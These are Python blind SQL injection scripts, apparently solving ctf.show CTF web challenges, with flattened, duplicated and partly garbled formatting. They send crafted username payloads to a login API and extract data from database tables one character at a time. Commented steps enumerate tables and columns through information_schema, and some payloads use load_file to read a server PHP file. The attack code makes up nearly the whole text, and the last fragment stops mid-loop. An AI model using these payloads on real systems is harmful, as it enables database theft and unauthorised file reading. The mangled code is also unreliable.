for i inrange(1,64): for s in dicts: payload = 'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{}\'),1,0)'.format(flag+s) res = requests.post('http://85d81369-aba0-49af-a849-c18a1587b385.challenge.ctf.show/api/index.php',data={'username':payload,'password':'1'}) if res.text.find('67e5') != -1: flag += s print(flag) break
for i inrange(1,64): for s in dicts: #payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()' #payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\' and table_schema=database()' payload = 'select f1ag from ctfshow_fl0g' t_payload = 'admin\' and if(substr(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s) res = requests.post('http://4ea79d37-bc70-4e90-810b-bc2c7714e1a4.challenge.ctf.show/api/index.php',data={'username':t_payload,'password':'1'}) if res.text.find('5bc6') != -1: flag += s print(flag) time.sleep(2) break
dicts='{0123456789qwertyuiopasdfghjklzxcvbnm-_,}' flag = ''
for i inrange(1,64):
for s in dicts: #payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()' #payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\' and table_schema=database()' payload = 'select f1ag from ctfshow_fl0g' t_payload = 'admin\' and if(substr(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s) res = requests.post(' http://7235cc01-2c1b-4fa4-8bb7-aed502b64f1b.challenge.ctf.show/api/index.php',data={'username':t_payload,'password':'1'}) if res.text.find('5bc6') != -1: print('***',t_payload) flag += s print(flag) time.sleep(2) break
for i inrange(1,64): for s in dicts: #payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()' #payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\' and table_schema=database()' payload = 'select f1ag from ctfshow_fl0g' t_payload = 'admin\' and if(substr(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s) res = requests.post('http://189a959e-e728-4203-9132-f68b70975210.challenge.ctf.show/api/index.php',data={'username':t_payload,'password':'1'})
if res.text.find('5bc6') != -1: print('***',t_payload) flag += s print(flag) time.sleep(2) break
for i inrange(1,60): for mid in flagstr: #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid) #ctfshow_web #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid) #ctfshow_flxg #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid) #id,f1ag payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid) data = { "username":payload, "password":0, }
res = requests.post(url = url,data =data) time.sleep(0.3) if res.text.find("8bef")>0: tempstr += mid flag += mid print("++++++++++++++++++++"+flag) break
for mid in flagstr: #payload = "admin'and ((mid((select database()),{})='{}'))#".format(i,tempstr+mid) #ctfshow_web #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
#ctfshow_flxg #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid) #id,f1ag payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)